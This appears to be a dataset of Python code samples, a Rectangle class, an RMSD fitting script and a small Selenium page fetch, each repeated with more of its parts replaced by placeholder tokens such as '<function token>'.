Sets x attribute with exceptions \"\"\"\n self.data_validator('x', value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n\n @y.setter\n def y(self, value):\n \"\"\" Sets y attribute with exceptions \"\"\"\n self.data_validator('y', value)\n self.__y = value\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\" Instantiates all attributes of class \"\"\"\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n\n def update(self, *args, **kwargs):\n \"\"\" Updates attribute values after initialization \"\"\"\n arg_name = ['id', 'width', 'height', 'x', 'y']\n \"\"\" If args only, sets attribute to correct arg_name \"\"\"\n if len(args) > 0:\n numArgs = 0\n for attr in range(len(args)):\n setattr(self, arg_name[numArgs], args[numArgs])\n numArgs += 1\n \"\"\" Put kwargs into dict - if key matches arg_name, set to value \"\"\"\n kwargs_dict = kwargs\n for key, value in kwargs_dict.items():\n for attr in range(len(arg_name)):\n if key == arg_name[attr]:\n setattr(self, arg_name[attr], value)\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n\n @property\n def width(self):\n \"\"\" Gets private width attribute \"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\" Sets height attribute with exceptions \"\"\"\n self.data_validator('height', value)\n self.__height = value\n\n @property\n def x(self):\n \"\"\" Gets private x attribute \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\" Sets x attribute with exceptions \"\"\"\n self.data_validator('x', value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n\n @y.setter\n def y(self, value):\n \"\"\" Sets y attribute with exceptions \"\"\"\n self.data_validator('y', value)\n self.__y = value\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\" Instantiates all attributes of class \"\"\"\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n\n def update(self, *args, **kwargs):\n \"\"\" Updates attribute values after initialization \"\"\"\n arg_name = ['id', 'width', 'height', 'x', 'y']\n \"\"\" If args only, sets attribute to correct arg_name \"\"\"\n if len(args) > 0:\n numArgs = 0\n for attr in range(len(args)):\n setattr(self, arg_name[numArgs], args[numArgs])\n numArgs += 1\n \"\"\" Put kwargs into dict - if key matches arg_name, set to value \"\"\"\n kwargs_dict = kwargs\n for key, value in kwargs_dict.items():\n for attr in range(len(arg_name)):\n if key == arg_name[attr]:\n setattr(self, arg_name[attr], value)\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n\n @property\n def width(self):\n \"\"\" Gets private width attribute \"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\" Sets height attribute with exceptions \"\"\"\n self.data_validator('height', value)\n self.__height = value\n\n @property\n def x(self):\n \"\"\" Gets private x attribute \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\" Sets x attribute with exceptions \"\"\"\n self.data_validator('x', value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n\n def __init__(self, width, height, x=0, y=0, id=None):\n \"\"\" Instantiates all attributes of class \"\"\"\n self.width = width\n self.height = height\n self.x = x\n self.y = y\n super().__init__(id)\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n\n @property\n def width(self):\n \"\"\" Gets private width attribute \"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\" Sets height attribute with exceptions \"\"\"\n self.data_validator('height', value)\n self.__height = value\n\n @property\n def x(self):\n \"\"\" Gets private x attribute \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\" Sets x attribute with exceptions \"\"\"\n self.data_validator('x', value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n\n @property\n def width(self):\n \"\"\" Gets private width attribute \"\"\"\n return self.__width\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\" Sets height attribute with exceptions \"\"\"\n self.data_validator('height', value)\n self.__height = value\n\n @property\n def x(self):\n \"\"\" Gets private x attribute \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\" Sets x attribute with exceptions \"\"\"\n self.data_validator('x', value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n <function token>\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n\n @height.setter\n def height(self, value):\n \"\"\" Sets height attribute with exceptions \"\"\"\n self.data_validator('height', value)\n self.__height = value\n\n @property\n def x(self):\n \"\"\" Gets private x attribute \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\" Sets x attribute with exceptions \"\"\"\n self.data_validator('x', value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n <function token>\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n <function token>\n\n @property\n def x(self):\n \"\"\" Gets private x attribute \"\"\"\n return self.__x\n\n @x.setter\n def x(self, value):\n \"\"\" Sets x attribute with exceptions \"\"\"\n self.data_validator('x', value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n <function token>\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n <function token>\n <function token>\n\n @x.setter\n def x(self, value):\n \"\"\" Sets x attribute with exceptions \"\"\"\n self.data_validator('x', value)\n self.__x = value\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n\n def area(self):\n \"\"\" Calculates area \"\"\"\n return self.width * self.height\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n <function token>\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n <function token>\n <function token>\n <function token>\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n <function token>\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n <function token>\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n <function token>\n <function token>\n <function token>\n\n @property\n def y(self):\n \"\"\" Gets private y attribute \"\"\"\n return self.__y\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n <function token>\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n\n def __str__(self):\n \"\"\" Builtin that produces readable output \"\"\"\n return '[{}] ({}) {}/{} - {}/{}'.format(self.__class__.__name__,\n self.id, self.x, self.y, self.width, self.height)\n <function token>\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n <function token>\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n <function token>\n <function token>\n\n @width.setter\n def width(self, value):\n \"\"\" Sets width attribute with exceptions \"\"\"\n self.data_validator('width', value)\n self.__width = value\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n\n def data_validator(self, name, value):\n \"\"\" Validates proper integer input \"\"\"\n if type(value) is not int:\n raise TypeError('{} must be an integer'.format(name))\n if name == 'height' or name == 'width':\n if value <= 0:\n raise ValueError('{} must be > 0'.format(name))\n elif value < 0:\n raise ValueError('{} must be >= 0'.format(name))\n <function token>\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n <function token>\n <function token>\n <function token>\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n <function token>\n <function token>\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n <function token>\n <function token>\n <function token>\n\n @property\n def height(self):\n \"\"\" Gets private height attribute \"\"\"\n return self.__height\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n <function token>\n <function token>\n\n def display(self):\n \"\"\" Prints rectangle instance of #s \"\"\"\n \"\"\" Coordinates for position are x-axis (LR) and y-axis (NS) \"\"\"\n for coordY in range(self.y):\n print()\n for column in range(self.height):\n for coordLR in range(self.x):\n print(' ', end='')\n for row in range(self.width):\n print('#', end='')\n print()\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def to_dictionary(self):\n \"\"\" Returns dictionary representation of rectangle \"\"\"\n dict_rect = {}\n dict_rect['id'] = self.id\n dict_rect['width'] = self.width\n dict_rect['height'] = self.height\n dict_rect['x'] = self.x\n dict_rect['y'] = self.y\n return dict_rect\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n\n\nclass Rectangle(Base):\n <docstring token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n", "<docstring token>\n<import token>\n<class token>\n" ]

[ "#!/usr/bin/env python3\n\nimport sys\nimport numpy as np\nfrom rmsdlib import multifit\n\ndef fit_multi_npy(a, ref):\n #print(np.shape(a))\n #print(np.shape(ref))\n rotation, translation, RMSD = multifit(a, ref)\n rot = np.transpose(rotation, axes=(0,2,1))\n COM = a.sum(axis=1)/a.shape[1]\n centered = a - COM[:,None,:]\n rotated = np.einsum('...ij,...jk->...ik',centered,rot)\n fitted = rotated + COM[:,None,:]\n translated = fitted - translation[:,None,:]\n return RMSD\n\nat1 = [ int(l.split()[0])-1 for l in open(sys.argv[3]).readlines()]\nat2 = [ int(l.split()[0])-1 for l in open(sys.argv[4]).readlines()]\n\nlib1 = np.load(sys.argv[1])[:,at1]\nlib2 = np.load(sys.argv[2])[:,at2]\n\noutfile=sys.argv[5]\n\ncomp_matrix = np.zeros((len(lib1), len(lib2)))\n\nn = 0\nfor conf1 in lib1:\n rmsd = fit_multi_npy(lib2, conf1)\n comp_matrix[n] = rmsd\n n+=1\n\nnp.save(outfile, comp_matrix)\n", "import sys\nimport numpy as np\nfrom rmsdlib import multifit\n\n\ndef fit_multi_npy(a, ref):\n rotation, translation, RMSD = multifit(a, ref)\n rot = np.transpose(rotation, axes=(0, 2, 1))\n COM = a.sum(axis=1) / a.shape[1]\n centered = a - COM[:, None, :]\n rotated = np.einsum('...ij,...jk->...ik', centered, rot)\n fitted = rotated + COM[:, None, :]\n translated = fitted - translation[:, None, :]\n return RMSD\n\n\nat1 = [(int(l.split()[0]) - 1) for l in open(sys.argv[3]).readlines()]\nat2 = [(int(l.split()[0]) - 1) for l in open(sys.argv[4]).readlines()]\nlib1 = np.load(sys.argv[1])[:, at1]\nlib2 = np.load(sys.argv[2])[:, at2]\noutfile = sys.argv[5]\ncomp_matrix = np.zeros((len(lib1), len(lib2)))\nn = 0\nfor conf1 in lib1:\n rmsd = fit_multi_npy(lib2, conf1)\n comp_matrix[n] = rmsd\n n += 1\nnp.save(outfile, comp_matrix)\n", "<import token>\n\n\ndef fit_multi_npy(a, ref):\n rotation, translation, RMSD = multifit(a, ref)\n rot = np.transpose(rotation, axes=(0, 2, 1))\n COM = a.sum(axis=1) / a.shape[1]\n centered = a - COM[:, None, :]\n rotated = np.einsum('...ij,...jk->...ik', centered, rot)\n fitted = rotated + COM[:, None, :]\n translated = fitted - translation[:, None, :]\n return RMSD\n\n\nat1 = [(int(l.split()[0]) - 1) for l in open(sys.argv[3]).readlines()]\nat2 = [(int(l.split()[0]) - 1) for l in open(sys.argv[4]).readlines()]\nlib1 = np.load(sys.argv[1])[:, at1]\nlib2 = np.load(sys.argv[2])[:, at2]\noutfile = sys.argv[5]\ncomp_matrix = np.zeros((len(lib1), len(lib2)))\nn = 0\nfor conf1 in lib1:\n rmsd = fit_multi_npy(lib2, conf1)\n comp_matrix[n] = rmsd\n n += 1\nnp.save(outfile, comp_matrix)\n", "<import token>\n\n\ndef fit_multi_npy(a, ref):\n rotation, translation, RMSD = multifit(a, ref)\n rot = np.transpose(rotation, axes=(0, 2, 1))\n COM = a.sum(axis=1) / a.shape[1]\n centered = a - COM[:, None, :]\n rotated = np.einsum('...ij,...jk->...ik', centered, rot)\n fitted = rotated + COM[:, None, :]\n translated = fitted - translation[:, None, :]\n return RMSD\n\n\n<assignment token>\nfor conf1 in lib1:\n rmsd = fit_multi_npy(lib2, conf1)\n comp_matrix[n] = rmsd\n n += 1\nnp.save(outfile, comp_matrix)\n", "<import token>\n\n\ndef fit_multi_npy(a, ref):\n rotation, translation, RMSD = multifit(a, ref)\n rot = np.transpose(rotation, axes=(0, 2, 1))\n COM = a.sum(axis=1) / a.shape[1]\n centered = a - COM[:, None, :]\n rotated = np.einsum('...ij,...jk->...ik', centered, rot)\n fitted = rotated + COM[:, None, :]\n translated = fitted - translation[:, None, :]\n return RMSD\n\n\n<assignment token>\n<code token>\n", "<import token>\n<function token>\n<assignment token>\n<code token>\n" ]

[ "from selenium import webdriver\nimport time\n\nurl=\"https://car.autohome.com.cn/config/spec/1000001.html\"\ndriver=webdriver.PhantomJS()\n\ndriver.get(url)\n\nprint(driver.page_source)", "from selenium import webdriver\nimport time\nurl = 'https://car.autohome.com.cn/config/spec/1000001.html'\ndriver = webdriver.PhantomJS()\ndriver.get(url)\nprint(driver.page_source)\n", "<import token>\nurl = 'https://car.autohome.com.cn/config/spec/1000001.html'\ndriver = webdriver.PhantomJS()\ndriver.get(url)\nprint(driver.page_source)\n", "<import token>\n<assignment token>\ndriver.get(url)\nprint(driver.page_source)\n", "<import token>\n<assignment token>\n<code token>\n" ]

